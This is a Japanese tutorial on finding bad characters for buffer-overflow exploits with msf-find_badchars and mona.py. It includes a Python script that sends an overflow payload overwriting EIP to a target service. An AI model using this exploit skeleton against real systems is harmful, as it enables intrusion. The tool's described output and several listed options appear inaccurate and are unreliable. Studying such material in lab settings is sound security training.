エクスプロイト開発の効率を上げるためのステップ・バイ・ステップガイド
前提知識と準備 🧐
msf-find_badchars
を効果的に使用するためには、いくつかの前提知識とツールが必要です。
必要な知識
- バッファオーバーフローの基本概念: スタック、ヒープ、EIP(Instruction Pointer)、ESP(Stack Pointer)などのレジスタの役割、そして入力データによってリターンアドレスなどがどのように上書きされるかの基本的なメカニズムを理解している必要があります。
- シェルコードの役割: エクスプロイト成功後にターゲットシステム上で実行させたいコード(例:シェルを起動する、リバースコネクションを確立するなど)であり、ペイロードの核心部分であることを理解している必要があります。
- デバッガの基本的な使い方: Immunity Debugger, x64dbg, GDB (GNU Debugger) などのデバッガを使用して、プログラムの実行を制御し(ブレークポイントの設定、ステップ実行)、メモリやレジスタの内容を確認する基本的な操作に慣れている必要があります。特に、メモリダンプの表示と特定のアドレスへのジャンプは必須スキルです。
必要なツール・環境
- Metasploit Frameworkがインストールされた環境:
msf-find_badchars
自体がMetasploit Frameworkの一部であるため、これがインストールされているLinux環境(Kali Linuxなど)が必要です。Metasploit FrameworkはRapid7によってメンテナンスされており、オープンソース版も利用可能です。 - デバッガ: Windows環境であればImmunity Debuggerやx64dbg、Linux環境であればGDBなどが一般的に使用されます。ターゲットとなるアプリケーションが動作するOSに適したデバッガを選びます。
- 検証用の脆弱なアプリケーション: 実際にバッファオーバーフローなどの脆弱性を持つプログラムが必要です。学習目的であれば、意図的に脆弱性を含ませたアプリケーション(例:Vulnserver)や、古いバージョンのソフトウェアなどを仮想環境上に用意するのが安全です。絶対に許可なく実際のシステムで試さないでください。
バッドキャラクタ特定の仕組みと`msf-find_badchars`の役割 🤔
バッドキャラクタを特定する基本的なプロセスは、系統的な比較作業に基づいています。
- 初期キャラクタセットの生成: まず、テスト対象となる全ての可能性のあるバイト(通常は
\x01
から\xff
まで)を含むシーケンスを作成します。\x00
(NULLバイト)は非常に一般的なバッドキャラクタであるため、最初から除外するか、あるいは最初にテストして確認することが多いです。 - ペイロードとして送信: 生成したキャラクタセットを、脆弱なアプリケーションの入力として(例えば、バッファオーバーフローを引き起こす長い文字列の一部として)送信します。
- メモリ上での確認(デバッガ): デバッガを使用して、送信したキャラクタセットがターゲットプロセスのメモリ空間(典型的にはスタック上)にどのようにコピーされたかを確認します。この際、ペイロードが格納されている正確なメモリアドレスを見つける必要があります。
- 比較と最初のバッドキャラクタ特定: メモリ上のバイト列を、送信した元のシーケンス(
\x01, \x02, \x03, ...
)と比較します。もしシーケンスが途中で途切れていたり、特定のバイトが異なる値に変わっていたり、あるいは完全に欠落していたりした場合、その「期待と異なる最初のバイト」がバッドキャラクタの候補となります。例えば、メモリ上で... \x08 \x09 \x0b \x0c ...
となっていた場合、\x0a
がバッドキャラクタである可能性が高いと判断できます。 - バッドキャラクタの除外と繰り返しのテスト: 特定したバッドキャラクタをリストに追加し、今度はそのバッドキャラクタを除いた新しいキャラクタセットでステップ2から4を繰り返します。
- 完了: メモリ上のバイト列が、送信した(バッドキャラクタを除いた)キャラクタセットと完全に一致するまで、ステップ5を繰り返します。
このツールは、上記のステップ5「バッドキャラクタの除外と繰り返しのテスト」において、新しいテスト用キャラクタセットを生成する部分を自動化・簡略化してくれます。手動で「このバイトとこのバイトを除いて…」とリストを作成するのは非常に面倒ですが、
msf-find_badchars
を使えば、既知のバッドキャラクタをコマンドライン引数で指定するだけで、それらが除外されたバイト列を標準出力に表示してくれます。これにより、試行錯誤のサイクルを迅速に回すことが可能になります。
`msf-find_badchars` の使い方:ステップ・バイ・ステップ 📝
それでは、実際にmsf-find_badchars
を使ってバッドキャラクタを特定する手順を見ていきましょう。
最初のキャラクタセットの準備
まず、\x01
から\xff
までの全てのバイトを含むテストデータを用意します。これは手動で作成することもできますが、簡単なスクリプトを使うのが一般的です。例えばPythonでは以下のように生成できます。
bad_chars = ""
for i in range(1, 256): # 1から255まで
# \x00は多くの場合badcharなので最初から除外するか、別途テストする
# ここでは含めずに生成
bad_chars += chr(i)
# 必要であれば16進数形式で表示
# print(''.join(f'\\x{ord(c):02x}' for c in bad_chars))
print(bad_chars)
注意: \x00
(NULLバイト) は非常に一般的なバッドキャラクタです。多くのケースで最初から除外してテストを開始するか、\x00
を含むセットで最初にテストして確認することが推奨されます。
ペイロードとして送信
ステップ1で生成したキャラクタセットを、エクスプロイトコードのペイロード部分(通常はバッファをオーバーフローさせるデータの後)に組み込みます。例えば、以下のような構造になります。
# Pythonでの例
import socket
target_ip = "192.168.1.100" # ターゲットのIPアドレス
target_port = 9999 # ターゲットのポート
# 例:オフセットが2000バイト、リターンアドレスを"BBBB"で上書き
offset = 2000
ret_addr = b"BBBB" # 本来はJMP ESPなどのアドレス
padding = b"A" * offset
eip_overwrite = ret_addr
# ステップ1で生成したキャラクタセット (バイト列として)
test_chars = b""
for i in range(1, 256):
test_chars += bytes([i])
payload = padding + eip_overwrite + test_chars
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print(f"[+] Sending payload ({len(payload)} bytes)...")
s.send(payload)
s.close()
print("[+] Payload sent.")
except Exception as e:
print(f"[!] Error: {e}")
このスクリプトを実行する前に、ターゲットアプリケーションをデバッガ(例: Immunity Debugger)にアタッチし、実行状態(Run)にしておきます。
デバッガでの確認と最初のバッドキャラクタ特定
エクスプロイトスクリプトを実行すると、ターゲットアプリケーションがおそらくクラッシュするか、停止します。デバッガでプログラムが停止した状態(通常はEIPがBBBB
に対応する42424242
などで上書きされた直後)で、スタックポインタ(ESP)が指すアドレス周辺のメモリを確認します。
Immunity Debuggerであれば、ESPレジスタの値を右クリックし、「Follow in Dump」を選択すると、メモリダンプウィンドウで該当箇所が表示されます。
ここで、送信したはずの\x01\x02\x03\x04...
というシーケンスが正しくメモリ上に存在するかを目視で確認します。多くの場合、最初の送信では\x00
が原因でシーケンスが途中で途切れているか、あるいは\x00
自体が存在しないことがあります。
例:メモリ上で01 02 03 04 05 06 07 08 09 0B 0C ...
となっていた場合、\x0a
(改行コード) が最初のバッドキャラクタ候補です。もし、最初に\x00
をペイロードに含めて送信し、メモリ上で00
が見つからなかったり、00
以降のデータが欠落していたりすれば、\x00
がバッドキャラクタであると判断します。
このステップで、少なくとも1つのバッドキャラクタ(多くの場合\x00
)を特定します。
`msf-find_badchars` の実行
最初のバッドキャラクタ(例として\x00
とします)を特定したら、Metasploitがインストールされたターミナルからmsf-find_badchars
コマンドを実行します。
基本的なコマンド書式は以下の通りです。
msf-find_badchars -b "\x<bad1>\x<bad2>..."
-b
オプションに続けて、特定したバッドキャラクタを16進数形式(\xNN
)で連結して指定します。複数のバッドキャラクタが見つかっている場合は、続けて指定します(例: -b "\x00\x0a\x0d"
)。
最初の実行例(\x00
のみをバッドキャラクタとして指定):
msf-find_badchars -b "\x00"
これを実行すると、\x00
を除いた\x01
から\xff
までのバイト列が、エクスプロイトコードにコピー&ペーストしやすい形式(例: Ruby形式やPython形式)で出力されます。
[*] Using bad characters: \x00
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
ヒント: 出力形式は -f <format>
または --format <format>
オプションで変更できます (例: -f python
, -f c
, -f raw
など)。デフォルトは raw (プレーンなバイト列) ですが、他の形式も便利です。
繰り返し
msf-find_badchars
が出力した新しいキャラクタセット(バッドキャラクタが除外されたもの)を、ステップ2のエクスプロイトスクリプトのtest_chars
変数にコピー&ペーストします。
そして、再びターゲットアプリケーションをデバッガで起動し、エクスプロイトスクリプトを実行します(ステップ2)。
再度デバッガでメモリ上のデータを確認し(ステップ3)、送信した新しいキャラクタセットと比較します。もし、さらにシーケンスが壊れている箇所が見つかれば、それが新たなバッドキャラクタ候補です。
例:\x00
を除いたセットを送ったところ、今度はメモリ上で... \x08 \x09 \x0b \x0c ...
となった場合、新たに\x0a
がバッドキャラクタだと特定できます。
新たに見つかったバッドキャラクタを、既存のリストに追加して、再度msf-find_badchars
を実行します。
msf-find_badchars -b "\x00\x0a"
そして、出力されたさらに新しいキャラクタセットを使って、ステップ2から繰り返します。
このプロセスを、送信したキャラクタセットがメモリ上で完全に期待通りになる(途切れたり、変更されたりしているバイトがなくなる)まで繰り返します。最終的に、メモリ上のバイト列と、最後にmsf-find_badchars
に指定したバッドキャラクタを除いたバイト列が完全に一致すれば、全てのバッドキャラクタが特定できたことになります。🙌
実践例(シンプルなシナリオ) 🧪
架空の脆弱なサーバープログラム(ポート 1111 で待ち受け)に対してバッドキャラクタを特定するシナリオを考えてみましょう。EIPを上書きするオフセットは500バイトと仮定します。
- (試行1) 全キャラクタ送信:
- Pythonで
\x01
から\xff
のバイト列を生成。 - ペイロード:
"A"*500 + "BBBB" + b'\x01\x02...\xff'
- 送信後、デバッガでESPの指すメモリを確認。
- 結果:
01 02 ... 09
の後が0b 0c ...
となっている。\x0a
が欠落。また、\x00
も送っていないが、念のため確認(通常は問題になる)。 - 最初のバッドキャラクタ候補:
\x00
(仮定),\x0a
- Pythonで
- (試行2) `\x00` と `\x0a` を除外:
msf-find_badchars -b "\x00\x0a"
を実行。- 出力されたバイト列(
\x01..\x09\x0b..\xff
)をペイロードに設定。 - 送信後、デバッガでメモリを確認。
- 結果:
... 0c 0e 0f ...
となっている。\x0d
が欠落。 - 新たなバッドキャラクタ候補:
\x0d
- (試行3) `\x00`, `\x0a`, `\x0d` を除外:
msf-find_badchars -b "\x00\x0a\x0d"
を実行。- 出力されたバイト列をペイロードに設定。
- 送信後、デバッガでメモリを確認。
- 結果: 今度は送信したバイト列がメモリ上で完全に再現されている(破損や欠落がない)。
- 完了! このアプリケーションにおけるバッドキャラクタは
\x00
,\x0a
,\x0d
であると特定できました。
これで、最終的なシェルコードを生成する際(例えば msfvenom
を使う場合)に、-b "\x00\x0a\x0d"
オプションを指定すれば、これらのバッドキャラクタを含まない安全なペイロードを作成できます。
`msf-find_badchars` のオプション解説 ⚙️
msf-find_badchars
には、基本的な-b
以外にもいくつかのオプションがあります(バージョンによって多少異なる場合があります)。msf-find_badchars -h
で確認できます。
オプション | 説明 | 例 |
---|---|---|
-b, --bad <chars> |
除外するバッドキャラクタを16進数形式 (\xNN ) で指定します。これは必須のオプションです。 |
-b "\x00\x0a\x0d" |
-i, --input <file> |
(あまり使われない) バッドキャラクタのリストをファイルから読み込みます。 | -i badchars.txt |
-f, --format <format> |
出力形式を指定します。raw (デフォルト), js_be , js_le , perl , python , ruby , c , csharp , java , dw , dword , bash , ps1 などが利用可能です。 |
-f python |
-h, --help |
ヘルプメッセージを表示します。 | -h |
--raw |
-f raw と同等。生のバイト列を出力します。 |
--raw |
-n, --null |
デフォルトで \x00 をバッドキャラクタに含めます。-b で指定する必要がなくなります。 |
-n -b "\x0a" (\x00 と\x0a が除外される) |
-s, --start <hex> |
生成するバイト列の開始文字を指定します (デフォルト: \x01 )。 |
-s "\x20" (\x20 から開始) |
-e, --end <hex> |
生成するバイト列の終了文字を指定します (デフォルト: \xff )。 |
-e "\x7f" (\x7f で終了) |
注意点とヒント ⚠️💡
- NULLバイト (
\x00
) は最重要チェック対象: ほとんどのケースでバッドキャラクタとなります。文字列処理関数の多くがNULLバイトを終端とみなすためです。最初に確認しましょう。 - 改行コード (
\x0a
,\x0d
): テキストベースのプロトコル(HTTPなど)やコンソール入力では、これらの文字が特別な意味を持つためバッドキャラクタになりやすいです。 - コンテキスト依存性: バッドキャラクタは、データを処理するアプリケーション、使用されているプロトコル、入力フィールドの種類(URL、フォームデータ、ファイル名など)によって異なります。例えば、WebアプリケーションのURLパラメータでは
&
,=
,?
, スペースなどが問題になることがあります。SQLインジェクション対策でシングルクォート('
)がエスケープされる場合なども考えられます。 - デバッガでの確認は慎重に: メモリダンプを確認する際は、送信したペイロードの開始位置を正確に特定し、バイト列を注意深く比較する必要があります。見落としがあると、後のシェルコード実行時に問題が発生します。
- 根気が必要: バッドキャラクタの特定は、時に非常に地道な作業です。一度で見つからなくても、繰り返しテストし、比較することが重要です。
- エンコーディングの影響: シェルコードを生成する際、特定のバッドキャラクタを避けるためにエンコーダ(例: MetasploitのShikata Ga Nai)を使用することがあります。しかし、エンコーダ自体が生成するバイト列にも、新たなバッドキャラクタが含まれていないか確認が必要です。まずはエンコード前の単純なバイト列でバッドキャラクタを特定するのが基本です。
- 代替ツール (Mona.py): Immunity Debuggerを使用している場合、`mona.py`という非常に高機能なプラグインが利用できます。`mona.py`には`!mona bytearray`コマンドや`!mona compare`コマンドがあり、バイト配列の生成と比較をより効率的に行うことができます。`msf-find_badchars`と同様の目的で、多くのペネトレーションテスターに愛用されています。
!mona bytearray -cpb "\x00"
: NULLバイトを除外したバイト配列を生成します。!mona compare -f C:\mona\bytearray.bin -a <ESPの指すアドレス>
: 生成したファイルとメモリ上のデータを比較し、バッドキャラクタ候補を表示します。
参考情報
- Metasploit Unleashed (OffSec): Metasploit Frameworkの公式無料トレーニングコース。関連ツールについても解説されています。
https://www.offsec.com/metasploit-unleashed/ - Rapid7 Metasploit Documentation: Metasploitの公式ドキュメント。
https://docs.rapid7.com/metasploit/ - Corelan Team Tutorials (Mona.py開発元): Exploit開発に関する質の高いチュートリアルが多数あります(Mona.pyの解説含む)。
https://www.corelan.be/index.php/articles/writing-exploits/ - Kali Linux Tools Listing (Metasploit Framework): Kali Linuxに含まれるツールの一部としてMetasploit Frameworkのコンポーネントがリストされています。
https://www.kali.org/tools/metasploit-framework/
コメント